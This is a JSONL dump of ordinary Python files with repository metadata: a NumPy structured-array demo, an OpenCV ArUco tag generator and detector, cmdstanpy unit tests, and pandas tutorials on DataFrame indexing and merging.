"max_issues_repo_licenses": ["MIT"], "max_issues_count": 11, "max_issues_repo_issues_event_min_datetime": "2021-09-25T20:02:46.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-08T23:57:57.000Z", "max_forks_repo_path": "astr-119-session-3/useful_modules.py", "max_forks_repo_name": "jjohnst6260/astr-119", "max_forks_repo_head_hexsha": "20df66f3da0cbb3c03d213659e15f70dcbd762f3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.1428571429, "max_line_length": 55, "alphanum_fraction": 0.7457627119, "include": true, "reason": "import numpy", "num_tokens": 63, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38491215859561845, "lm_q2_score": 0.14608724518943894, "lm_q1q2_score": 0.05623075688915432}}
{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n\nsamples = np.zeros((6,), dtype=[('sensor_code', 'S4'),('position', float), ('value', float)])\nprint(samples.ndim)\nprint(samples.shape)\nprint(samples.dtype.names)\nsamples[:] = [('ALFA', 1, 0.37), ('BETA', 1, 0.11), ('TAU', 1, 0.13),\n              ('ALFA', 1.5, 0.37), ('ALFA', 3, 0.11), ('TAU', 1.2, 0.13)]\nprint(samples)\nprint(samples['sensor_code'])\nprint(samples['value'])\nprint(samples[0])\nsamples[0]['sensor_code'] = 'TAU'\nprint(samples[0])\nprint(samples[['position', 'value']])\nprint(samples[samples['sensor_code'] == b'ALFA'])\n", "meta": {"hexsha": "cd9de060617dda723374341fd9031e0fd2b829a9", "size": 600, "ext": "py", "lang": "Python", "max_stars_repo_path": "Numpy/structured.py", "max_stars_repo_name": "Fernal73/LearnPython3", "max_stars_repo_head_hexsha": "5288017c0dbf95633b84f1e6324f00dec6982d36", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-17T11:03:13.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-17T11:03:13.000Z", "max_issues_repo_path": "Numpy/structured.py", "max_issues_repo_name": "Fernal73/LearnPython3", "max_issues_repo_head_hexsha": "5288017c0dbf95633b84f1e6324f00dec6982d36", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-02-05T00:14:43.000Z", "max_issues_repo_issues_event_max_datetime": "2020-02-06T09:22:49.000Z", "max_forks_repo_path": "Numpy/structured.py", "max_forks_repo_name": "Fernal73/LearnPython3", "max_forks_repo_head_hexsha": "5288017c0dbf95633b84f1e6324f00dec6982d36", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.0, "max_line_length": 93, "alphanum_fraction": 0.61, "include": true, "reason": "import numpy", "num_tokens": 196, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38491214448393346, "lm_q2_score": 0.14608724890715238, "lm_q1q2_score": 0.05623075625861019}}
{"text": "import argparse\r\nimport imutils\r\nimport cv2\r\nimport sys\r\nimport numpy as np\r\n\r\n\r\nclass ArucoTag:\r\n    # set class variable\r\n    path_to_save = r'output/DICT_4X4_50_1.png'\r\n    path_to_read = r\"input/image1.png\"\r\n    ARUCO_DICT = {\r\n        \"DICT_4X4_50\": cv2.aruco.DICT_4X4_50,\r\n        \"DICT_4X4_100\": cv2.aruco.DICT_4X4_100,\r\n        \"DICT_4X4_250\": cv2.aruco.DICT_4X4_250,\r\n        \"DICT_4X4_1000\": cv2.aruco.DICT_4X4_1000,\r\n        \"DICT_5X5_50\": cv2.aruco.DICT_5X5_50,\r\n        \"DICT_5X5_100\": cv2.aruco.DICT_5X5_100,\r\n        \"DICT_5X5_250\": cv2.aruco.DICT_5X5_250,\r\n        \"DICT_5X5_1000\": cv2.aruco.DICT_5X5_1000,\r\n        \"DICT_6X6_50\": cv2.aruco.DICT_6X6_50,\r\n        \"DICT_6X6_100\": cv2.aruco.DICT_6X6_100,\r\n        \"DICT_6X6_250\": cv2.aruco.DICT_6X6_250,\r\n        \"DICT_6X6_1000\": cv2.aruco.DICT_6X6_1000,\r\n        \"DICT_7X7_50\": cv2.aruco.DICT_7X7_50,\r\n        \"DICT_7X7_100\": cv2.aruco.DICT_7X7_100,\r\n        \"DICT_7X7_250\": cv2.aruco.DICT_7X7_250,\r\n        \"DICT_7X7_1000\": cv2.aruco.DICT_7X7_1000,\r\n        \"DICT_ARUCO_ORIGINAL\": cv2.aruco.DICT_ARUCO_ORIGINAL,\r\n        \"DICT_APRILTAG_16h5\": cv2.aruco.DICT_APRILTAG_16h5,\r\n        \"DICT_APRILTAG_25h9\": cv2.aruco.DICT_APRILTAG_25h9,\r\n        \"DICT_APRILTAG_36h10\": cv2.aruco.DICT_APRILTAG_36h10,\r\n        \"DICT_APRILTAG_36h11\": cv2.aruco.DICT_APRILTAG_36h11\r\n    }\r\n\r\n    def __init__(self, arucoType=\"DICT_4X4_50\", size=300, id=1):\r\n        self.arucoType = self.ARUCO_DICT[arucoType]\r\n        # will generate 300x300x1 channel image\r\n        self.size = size\r\n        self.id = id  # what id need to attached in the arucoImage\r\n\r\n        # load the ArUCo dictionary\r\n        self.arucoDict = cv2.aruco.Dictionary_get(self.arucoType)\r\n\r\n    def generateArucoTag(self):\r\n        tag = np.zeros((self.size, self.size, 1), dtype=\"uint8\")\r\n        # here 1 is padding in the image\r\n        cv2.aruco.drawMarker(self.arucoDict, self.id, 300, tag, 1)\r\n        cv2.imwrite(self.path_to_save, tag)\r\n        cv2.imshow(\"ArUCo Tag\", tag)\r\n        print(f\"Successfully saved {self.path_to_save}, ID {self.id} \")\r\n        cv2.waitKey(0)\r\n\r\n    def detectArucoTag(self, image):\r\n        image = imutils.resize(image, width=600)\r\n        arucoParams = cv2.aruco.DetectorParameters_create()\r\n        (corners, ids, rejected) = cv2.aruco.detectMarkers(image, self.arucoDict,\r\n                                                           parameters=arucoParams)\r\n\r\n        # verify *at least* one ArUco marker was detected\r\n        imls = []\r\n        if len(corners) > 0:\r\n            # flatten the ArUco IDs list\r\n            ids = ids.flatten()\r\n\r\n            # loop over the detected ArUCo corners\r\n            for (markerCorner, markerID) in zip(corners, ids):\r\n                # extract the marker corners (which are always returned in\r\n                # top-left, top-right, bottom-right, and bottom-left order)\r\n                corners = markerCorner.reshape((4, 2))\r\n                (topLeft, topRight, bottomRight, bottomLeft) = corners\r\n\r\n                # convert each of the (x, y)-coordinate pairs to integers\r\n                topRight = (int(topRight[0]), int(topRight[1]))\r\n                bottomRight = (int(bottomRight[0]), int(bottomRight[1]))\r\n                bottomLeft = (int(bottomLeft[0]), int(bottomLeft[1]))\r\n                topLeft = (int(topLeft[0]), int(topLeft[1]))\r\n\r\n                # draw the bounding box of the ArUCo detection\r\n                cv2.line(image, topLeft, topRight, (0, 255, 0), 2)\r\n                cv2.line(image, topRight, bottomRight, (0, 255, 0), 2)\r\n                cv2.line(image, bottomRight, bottomLeft, (0, 255, 0), 2)\r\n                cv2.line(image, bottomLeft, topLeft, (0, 255, 0), 2)\r\n\r\n                # compute and draw the center (x, y)-coordinates of the ArUco\r\n                # marker\r\n                cX = int((topLeft[0] + bottomRight[0]) / 2.0)\r\n                cY = int((topLeft[1] + bottomRight[1]) / 2.0)\r\n                cv2.circle(image, (cX, cY), 4, (0, 0, 255), -1)\r\n\r\n                # draw a line from center point to the right, Horizontal Line\r\n                cv2.line(image, (cX, cY), (cX + 40, cY), (255, 0, 0), 2)\r\n                # draw a line from center point to the upwards, Vertical Line\r\n                cv2.line(image, (cX, cY), (cX, cY - 40), (0, 0, 255), 2)\r\n                # draw a line from center point to the downwards, Vertical Line\r\n                cv2.line(image, (cX, cY), (cX, cY + 40), (0, 255, 0), 2)\r\n\r\n                # draw the ArUco marker ID on the image\r\n                cv2.putText(image, str(markerID),\r\n                            (topLeft[0], topLeft[1] - 10), cv2.FONT_HERSHEY_SIMPLEX,\r\n                            0.8, (255, 0, 0), 3)\r\n                print(\"[INFO] ArUco marker ID: {}\".format(markerID))\r\n                imls.append(image.copy())\r\n            return image, imls\r\n\r\n", "meta": {"hexsha": "bdf8efe7a4453bed504950547d917f2330c3a8f6", "size": 4849, "ext": "py", "lang": "Python", "max_stars_repo_path": "util_aruco.py", "max_stars_repo_name": "deepak223098/aruco_tag_opencv", "max_stars_repo_head_hexsha": "4a38bd7c6289d221c2f9cc172e6ee95581e8aece", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "util_aruco.py", "max_issues_repo_name": "deepak223098/aruco_tag_opencv", "max_issues_repo_head_hexsha": "4a38bd7c6289d221c2f9cc172e6ee95581e8aece", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "util_aruco.py", "max_forks_repo_name": "deepak223098/aruco_tag_opencv", "max_forks_repo_head_hexsha": "4a38bd7c6289d221c2f9cc172e6ee95581e8aece", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.7452830189, "max_line_length": 85, "alphanum_fraction": 0.5718704888, "include": true, "reason": "import numpy", "num_tokens": 1545, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.11596072436426733, "lm_q1q2_score": 0.05616906544038396}}
{"text": "import os\nimport unittest\n\nfrom cmdstanpy.cmdstan_args import SamplerArgs, CmdStanArgs\nfrom cmdstanpy.utils import EXTENSION\nfrom cmdstanpy.model import Model\nfrom cmdstanpy.stanfit import StanFit\nimport numpy as np\n\nhere = os.path.dirname(os.path.abspath(__file__))\ndatafiles_path = os.path.join(here, 'data')\n\ncode = '''data {\n  int<lower=0> N;\n  int<lower=0,upper=1> y[N];\n}\nparameters {\n  real<lower=0,upper=1> theta;\n}\nmodel {\n  theta ~ beta(1,1);\n  for (n in 1:N)\n    y[n] ~ bernoulli(theta);\n}\n'''\n\n\nclass ModelTest(unittest.TestCase):\n    def test_model_good(self):\n        stan = os.path.join(datafiles_path, 'bernoulli.stan')\n        exe = os.path.join(datafiles_path, 'bernoulli' + EXTENSION)\n\n        model = Model(stan_file=stan)\n        self.assertEqual(stan, model.stan_file)\n        self.assertEqual(None, model.exe_file)\n\n        model = Model(stan_file=stan, exe_file=exe)\n        self.assertEqual(exe, model.exe_file)\n\n    def test_model_good_no_source(self):\n        exe = os.path.join(datafiles_path, 'bernoulli' + EXTENSION)\n        model = Model(exe_file=exe)\n        self.assertEqual(exe, model.exe_file)\n        self.assertEqual('bernoulli', model.name)\n\n        with self.assertRaises(RuntimeError):\n            model.code()\n        with self.assertRaises(RuntimeError):\n            model.compile()\n\n    def test_model_none(self):\n        with self.assertRaises(ValueError):\n            _ = Model(exe_file=None, stan_file=None)\n\n    def test_model_bad(self):\n        with self.assertRaises(Exception):\n            model = Model(stan_file='xdlfkjx', exe_file='sdfndjsds')\n\n        stan = os.path.join(datafiles_path, 'b')\n        with self.assertRaises(Exception):\n            model = Model(stan_file=stan)\n\n    def test_repr(self):\n        stan = os.path.join(datafiles_path, 'bernoulli.stan')\n        model = Model(stan_file=stan)\n        s = repr(model)\n        self.assertIn('name=bernoulli', s)\n\n    def test_print(self):\n        stan = os.path.join(datafiles_path, 'bernoulli.stan')\n        model = Model(stan_file=stan)\n        self.assertEqual(code, model.code())\n\n    def test_model_compile(self):\n        stan = os.path.join(datafiles_path, 'bernoulli.stan')\n        exe = os.path.join(datafiles_path, 'bernoulli' + EXTENSION)\n        model = Model(stan_file=stan)\n        self.assertEqual(None, model.exe_file)\n        model.compile()\n        self.assertTrue(model.exe_file.endswith(exe.replace('\\\\', '/')))\n\n        model = Model(stan_file=stan)\n        if os.path.exists(exe):\n            os.remove(exe)\n        model.compile()\n        self.assertTrue(model.exe_file.endswith(exe.replace('\\\\', '/')))\n\n        stan = os.path.join(datafiles_path, 'bernoulli_include.stan')\n        exe = os.path.join(datafiles_path, 'bernoulli_include' + EXTENSION)\n        here = os.path.dirname(os.path.abspath(__file__))\n        datafiles_abspath = os.path.join(here, 'data')\n        include_paths = [datafiles_abspath]\n        if os.path.exists(exe):\n            os.remove(exe)\n        model = Model(stan_file=stan)\n        model.compile(include_paths=include_paths)\n        self.assertEqual(stan, model.stan_file)\n        self.assertTrue(model.exe_file.endswith(exe.replace('\\\\', '/')))\n\n    # TODO: test compile with existing exe - timestamp on exe unchanged\n    # TODO: test overwrite with existing exe - timestamp on exe updated\n\n\nclass OptimizeTest(unittest.TestCase):\n    def test_optimize_works(self):\n        exe = os.path.join(datafiles_path, 'bernoulli' + EXTENSION)\n        stan = os.path.join(datafiles_path, 'bernoulli.stan')\n        model = Model(stan_file=stan, exe_file=exe)\n        jdata = os.path.join(datafiles_path, 'bernoulli.data.json')\n        jinit = os.path.join(datafiles_path, 'bernoulli.init.json')\n        fit = model.optimize(\n            data=jdata,\n            seed=1239812093,\n            inits=jinit,\n            algorithm='BFGS',\n            init_alpha=0.001,\n            iter=100,\n        )\n\n        # check if calling sample related stuff fails\n        with self.assertRaises(RuntimeError):\n            fit.summary()\n        with self.assertRaises(RuntimeError):\n            _ = fit.sample\n        with self.assertRaises(RuntimeError):\n            fit.diagnose()\n\n        # test numpy output\n        self.assertAlmostEqual(fit.optimized_params_np[0], -5, places=2)\n        self.assertAlmostEqual(fit.optimized_params_np[1], 0.2, places=3)\n\n        # test pandas output\n        self.assertEqual(\n            fit.optimized_params_np[0], fit.optimized_params_pd['lp__'][0]\n        )\n        self.assertEqual(\n            fit.optimized_params_np[1], fit.optimized_params_pd['theta'][0]\n        )\n\n        # test dict output\n        self.assertEqual(\n            fit.optimized_params_np[0], fit.optimized_params_dict['lp__']\n        )\n        self.assertEqual(\n            fit.optimized_params_np[1], fit.optimized_params_dict['theta']\n        )\n\n    def test_optimize_works_dict(self):\n        import json\n\n        exe = os.path.join(datafiles_path, 'bernoulli' + EXTENSION)\n        stan = os.path.join(datafiles_path, 'bernoulli.stan')\n        model = Model(stan_file=stan, exe_file=exe)\n        with open(os.path.join(datafiles_path, 'bernoulli.data.json')) as d:\n            data = json.load(d)\n        with open(os.path.join(datafiles_path, 'bernoulli.init.json')) as d:\n            init = json.load(d)\n        fit = model.optimize(\n            data=data,\n            seed=1239812093,\n            inits=init,\n            algorithm='BFGS',\n            init_alpha=0.001,\n            iter=100,\n        )\n\n        # test numpy output\n        self.assertAlmostEqual(fit.optimized_params_np[0], -5, places=2)\n        self.assertAlmostEqual(fit.optimized_params_np[1], 0.2, places=3)\n\n\nclass SampleTest(unittest.TestCase):\n    def test_bernoulli_good(self):\n        stan = os.path.join(datafiles_path, 'bernoulli.stan')\n        exe = os.path.join(datafiles_path, 'bernoulli' + EXTENSION)\n        bern_model = Model(stan_file=stan, exe_file=exe)\n        bern_model.compile()\n\n        jdata = os.path.join(datafiles_path, 'bernoulli.data.json')\n        bern_fit = bern_model.sample(\n            data=jdata, chains=4, cores=2, seed=12345, sampling_iters=100\n        )\n\n        for i in range(bern_fit.chains):\n            csv_file = bern_fit.csv_files[i]\n            txt_file = ''.join([os.path.splitext(csv_file)[0], '.txt'])\n            self.assertTrue(os.path.exists(csv_file))\n            self.assertTrue(os.path.exists(txt_file))\n\n        self.assertEqual(bern_fit.chains, 4)\n        self.assertEqual(bern_fit.draws, 100)\n        column_names = [\n            'lp__',\n            'accept_stat__',\n            'stepsize__',\n            'treedepth__',\n            'n_leapfrog__',\n            'divergent__',\n            'energy__',\n            'theta',\n        ]\n        self.assertEqual(bern_fit.column_names, tuple(column_names))\n\n        bern_sample = bern_fit.sample\n        self.assertEqual(bern_sample.shape, (100, 4, len(column_names)))\n\n        self.assertEqual(bern_fit.metric_type, 'diag_e')\n        self.assertEqual(bern_fit.stepsize.shape, (4,))\n        self.assertEqual(bern_fit.metric.shape, (4, 1))\n\n        output = os.path.join(datafiles_path, 'test1-bernoulli-output')\n        bern_fit = bern_model.sample(\n            data=jdata,\n            chains=4,\n            cores=2,\n            seed=12345,\n            sampling_iters=100,\n            csv_basename=output,\n        )\n        for i in range(bern_fit.chains):\n            csv_file = bern_fit.csv_files[i]\n            txt_file = ''.join([os.path.splitext(csv_file)[0], '.txt'])\n            self.assertTrue(os.path.exists(csv_file))\n            self.assertTrue(os.path.exists(txt_file))\n        bern_sample = bern_fit.sample\n        self.assertEqual(bern_sample.shape, (100, 4, len(column_names)))\n        for i in range(bern_fit.chains):  # cleanup datafile_path dir\n            os.remove(bern_fit.csv_files[i])\n            os.remove(bern_fit.console_files[i])\n\n        rdata = os.path.join(datafiles_path, 'bernoulli.data.R')\n        bern_fit = bern_model.sample(\n            data=rdata, chains=4, cores=2, seed=12345, sampling_iters=100\n        )\n        bern_sample = bern_fit.sample\n        self.assertEqual(bern_sample.shape, (100, 4, len(column_names)))\n\n        data_dict = {'N': 10, 'y': [0, 1, 0, 0, 0, 0, 0, 0, 0, 1]}\n        bern_fit = bern_model.sample(\n            data=data_dict, chains=4, cores=2, seed=12345, sampling_iters=100\n        )\n        bern_sample = bern_fit.sample\n        self.assertEqual(bern_sample.shape, (100, 4, len(column_names)))\n\n        # check if  optimized_params_np returns first draw\n        # (actually first row from csv)\n        np.testing.assert_equal(\n            bern_fit.get_drawset().iloc[0].values, bern_fit.optimized_params_np\n        )\n\n    def test_bernoulli_bad(self):\n        stan = os.path.join(datafiles_path, 'bernoulli.stan')\n        exe = os.path.join(datafiles_path, 'bernoulli' + EXTENSION)\n        bern_model = Model(stan_file=stan, exe_file=exe)\n        bern_model.compile()\n\n        with self.assertRaisesRegex(Exception, 'Error during sampling'):\n            bern_fit = bern_model.sample(\n                chains=4, cores=2, seed=12345, sampling_iters=100\n            )\n\nclass GenerateQuantitiesTest(unittest.TestCase):\n    def test_gen_quantities_good(self):\n        stan = os.path.join(datafiles_path, 'bernoulli_ppc.stan')\n        model = Model(stan_file=stan)\n        model.compile()\n\n        jdata = os.path.join(datafiles_path, 'bernoulli.data.json')\n\n        # synthesize stanfit object -\n        # see test_stanfit.py, method 'test_validate_good_run'\n        goodfiles_path = os.path.join(datafiles_path, 'runset-good')\n        output = os.path.join(goodfiles_path, 'bern')\n        sampler_args = SamplerArgs(\n            sampling_iters=100, max_treedepth=11, adapt_delta=0.95\n        )\n        cmdstan_args = CmdStanArgs(\n            model_name=model.name,\n            model_exe=model.exe_file,\n            chain_ids=[1, 2, 3, 4],\n            seed=12345,\n            data=jdata,\n            output_basename=output,\n            method_args=sampler_args,\n        )\n        sampler_fit = StanFit(args=cmdstan_args, chains=4)\n        for i in range(4):\n            sampler_fit._set_retcode(i, 0)\n\n        bern_fit = model.run_generated_quantities(\n            csv_files=sampler_fit.csv_files,\n            data=jdata)\n\n        # check results - ouput files, quantities of interest, draws\n        self.assertEqual(bern_fit.chains, 4)\n        for i in range(4):\n            self.assertEqual(bern_fit._retcodes[i], 0)\n            csv_file = bern_fit.csv_files[i]\n            self.assertTrue(os.path.exists(csv_file))\n        column_names = [\n            'y_rep.1',\n            'y_rep.2',\n            'y_rep.3',\n            'y_rep.4',\n            'y_rep.5',\n            'y_rep.6',\n            'y_rep.7',\n            'y_rep.8',\n            'y_rep.9',\n            'y_rep.10'\n        ]\n        self.assertEqual(bern_fit.column_names, tuple(column_names))\n        self.assertEqual(bern_fit.draws, 100) \n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "6e812ce0e562b03f061811b23bd0143e88d1d330", "size": 11135, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_model.py", "max_stars_repo_name": "annapaux/cmdstanpy", "max_stars_repo_head_hexsha": "0e5b19e57c3aee705c283478c952dde59d4779a3", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-04-28T20:04:27.000Z", "max_stars_repo_stars_event_max_datetime": "2020-04-28T20:04:27.000Z", "max_issues_repo_path": "test/test_model.py", "max_issues_repo_name": "annapaux/cmdstanpy", "max_issues_repo_head_hexsha": "0e5b19e57c3aee705c283478c952dde59d4779a3", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/test_model.py", "max_forks_repo_name": "annapaux/cmdstanpy", "max_forks_repo_head_hexsha": "0e5b19e57c3aee705c283478c952dde59d4779a3", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.1261829653, "max_line_length": 79, "alphanum_fraction": 0.6125729681, "include": true, "reason": "import numpy", "num_tokens": 2694, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.11596071519881658, "lm_q1q2_score": 0.056169061000822154}}
{"text": "import numpy as np\nimport pandas as pd\n\n\nnp.random.seed(20180917)\ndates = pd.date_range('20180917', periods=6)\ndf = pd.DataFrame(np.random.rand(6,4), index=dates, columns=list('ABCD'))\n\nprint(df)\nprint(df.head())\nprint(df.tail(3))\n\nprint(\"--\"*35)\nprint(df.index) # \uc778\ub371\uc2a4 \ud655\uc778\nprint(df.columns) # \uceec\ub7fc \ud655\uc778\nprint(df.values) # \uc548\uc5d0 \uc788\ub294 \ub370\uc774\ud130 \ud655\uc778\n\nprint(\"--\"*35)\nprint(df.describe()) # \uac04\ub2e8\ud55c \ud1b5\uacc4\uc815\ubcf4\ub97c \ubcf4\uc5ec\uc900\ub2e4.\n\nprint(\"--\"*35)\nprint(df.T) # index\uc640 column\uc744 \ubc14\uafbc \ud615\ud0dc\n\nprint(\"--\"*35)\nprint(df.sort_index(axis=1, ascending=False)) #  \uceec\ub7fc\uc5d0 \ub300\ud574 \ub0b4\ub9bc\ucc28\uc21c\uc73c\ub85c \uc815\ub82c\nprint(df.sort_values(by='B')) #  DataFrame \ub0b4\ubd80\uc5d0 \uc788\ub294 \uac12\uc73c\ub85c \uc815\ub82c\n\nprint(\"--\"*35)\nprint(df['A']) # A\ub77c\ub294 \uc774\ub984\uc744 \uac00\uc9c4 \uceec\ub7fc\uc758 \ub370\uc774\ud130\ub97c \uac00\uc838\uc628\ub2e4\nprint(df.A) # \uc704 \ubc29\ubc95\uacfc \uac19\uc74c\n\nprint(\"--\"*35)\nprint(df[0:3]) #\ub9e8 \ucc98\uc74c \uc138\uac1c\uc758 \ud589\uc744 \uac00\uc9c0\uace0 \uc628\ub2e4.\nprint(df['20180917':'20180920']) # \uc778\ub371\uc2a4\uba85\uc744 \uc0ac\uc6a9\ud574\uc11c \ud574\ub2f9\ud558\ub294 \ubc94\uc704\uc758\ub370\uc774\ud130\ub97c \uac00\uc9c0\uace0\uc628\ub2e4.\nprint(\"--\"*16, \"\uc8fc\uc758\",\"--\"*16)\n# print(df['20180917']) # \uc624\ub958\nprint(df['20180917':'20180917']) # \uc774\ub7f0 \ud615\ud0dc\ub85c \uc785\ub825\n\n# \ud2b9\uc815 \uc778\ub371\uc2a4 \uac12 \uac00\uc9c0\uace0 \uc624\uae30 loc, at\nprint(\"--\"*35)\nprint(df.loc[dates[0]])\nprint(df.loc['20180917'])\nprint(df.loc['2018-09-17'])\nprint(df.loc[:,['A','B']])\nprint(df.loc[dates[0],['A','B']])\nprint(df.at[dates[0],'A'])\n\nprint(\"--\"*35)\nprint(df.iloc[3])\nprint(df.iloc[2:5, 0:2])\n\nprint(\"--\"*35)\nprint(df.iloc[[1,2,4],[0,2]])\nprint(df.iloc[1:3,:])\nprint(df.iloc[:,1:3])\nprint(df.iloc[1,1])\nprint(df.iat[1,1])\n\nprint(\"--\"*35)\nprint(df[df.A > 0]) # \uc591\uc218 \uac12\ub9cc \ucd9c\ub825\nprint(df[df > 0])# \uc804\uccb4 \ucd9c\ub825 \uc591\uc218 \uc774\uc678\uc758 \uac12\uc740 NaN\u3147\ub85c \ud45c\ud604\n\nprint(\"--\"*35)\ndf2 = df.copy()\ndf2['E'] = ['one', 'one','two', 'three', 'four', 'three']\nprint(df2)\n# \ud544\ud130\ub9c1\uc744 \ud574\uc57c\ud558\ub294 \uacbd\uc6b0 isin\ub97c \uc0ac\uc6a9\nprint(df2[df2['E'].isin(['two','four'])])\n\nprint(\"--\"*35)\ndf.loc[:, 'D'] = np.array([5] * len(df)) # len(df) -= 6\n# \uc6b0\ubcc0\uc758 \uac12\uc740 [5,5,5,5,5,5]\nprint(df)\n\nprint(\"--\"*35)\ndf2 = df.copy()\ndf2[df2 > 0] = -df2\nprint(df2)\n", "meta": {"hexsha": "f9fd553457a2781fbe272e4a6314c9ca194665ce", "size": 1699, "ext": "py", "lang": "Python", "max_stars_repo_path": "4-2/Machine Learning/class_/Lab4/ex2.py", "max_stars_repo_name": "define16/Class", "max_stars_repo_head_hexsha": "8b0771a348b2bcb19ba338ebff94326828a293ea", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "4-2/Machine Learning/class_/Lab4/ex2.py", "max_issues_repo_name": "define16/Class", "max_issues_repo_head_hexsha": "8b0771a348b2bcb19ba338ebff94326828a293ea", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "4-2/Machine Learning/class_/Lab4/ex2.py", "max_forks_repo_name": "define16/Class", "max_forks_repo_head_hexsha": "8b0771a348b2bcb19ba338ebff94326828a293ea", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.5063291139, "max_line_length": 73, "alphanum_fraction": 0.6068275456, "include": true, "reason": "import numpy", "num_tokens": 729, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.11596071519881658, "lm_q1q2_score": 0.056169061000822154}}
{"text": "# Copyright 2019 Cloudera, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# # Joining pandas DataFrames\n\n# Import modules\nimport numpy as np\nimport pandas as pd\n\n# Read employees data\nemployees = pd.read_table('data/employees/employees.txt')\nemployees\n\n# Read offices data\noffices = pd.read_table(\"data/offices/offices.txt\")\noffices\n\n\n# The DataFrame method `merge` can be used to join two\n# DataFrames together. The parameter `how` specifies\n# what type of join to perform:\n# - `how='inner'` for inner joins\n# - `how='left'` for left outer joins\n# - `how='right'` for right outer joins\n# - `how='outer'` for full outer joins\n\n# For example, use `merge` with `how='left'` to perform\n# a left outer join on the `employees` and `offices` \n# DataFrames\nemployees.merge(offices, how='left')\n\n# pandas automatically identifies common column names in\n# the two DataFrames and joins on them. To manually\n# specify the join key columns, use the `on` parameter\nemployees.merge(offices, how='left', on='office_id')\n\n# For more details, see the documentation for\n# [`pandas.DataFrame.merge`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.merge.html).\n", "meta": {"hexsha": "c398e4065c60e1aa038483c3cdde61ea80ebf0d1", "size": 1667, "ext": "py", "lang": "Python", "max_stars_repo_path": "1_data_manipulation/pandas/16_merge.py", "max_stars_repo_name": "ianmcook/strata-ny-2019", "max_stars_repo_head_hexsha": "715d1db65ed64f5be700790fef938802375159e2", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2019-03-25T16:28:34.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-15T00:17:40.000Z", "max_issues_repo_path": "1_data_manipulation/pandas/16_merge.py", "max_issues_repo_name": "ianmcook/strata-sf-2019", "max_issues_repo_head_hexsha": "0bcd2559a21f95a83a7caec11560c8c0df5e65ed", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-09-18T19:37:26.000Z", "max_issues_repo_issues_event_max_datetime": "2019-09-23T02:57:39.000Z", "max_forks_repo_path": "1_data_manipulation/pandas/16_merge.py", "max_forks_repo_name": "ianmcook/strata-ny-2019", "max_forks_repo_head_hexsha": "715d1db65ed64f5be700790fef938802375159e2", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-02-18T09:35:09.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-18T09:35:09.000Z", "avg_line_length": 33.34, "max_line_length": 113, "alphanum_fraction": 0.74985003, "include": true, "reason": "import numpy", "num_tokens": 413, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.11596071061609144, "lm_q1q2_score": 0.05616905878104137}}
